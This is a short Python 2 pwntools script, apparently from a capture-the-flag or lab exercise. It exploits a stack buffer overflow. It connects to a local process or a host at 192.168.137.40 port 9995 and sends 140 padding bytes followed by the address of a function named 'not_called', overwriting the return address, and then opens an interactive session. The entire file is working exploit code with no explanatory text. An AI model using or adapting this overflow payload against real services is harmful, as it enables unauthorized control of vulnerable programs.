ex_rop1.py

from pwn import *
from termcolor import colored, cprint
import random
import sys

if len(sys.argv)>1:
    # python guessing.py guessing
    r = process(sys.argv[1])
    print colored("attach %d\n" % r.pid,"yellow")
    raw_input("debug?")
else:
    HOST = '192.168.137.40'
    PORT = 9995
    r = remote(HOST,PORT)

flag = 0x80484a4 # address of not_called

payload = 'A' * 140
payload += p32(flag)

r.sendline(payload)
r.interactive()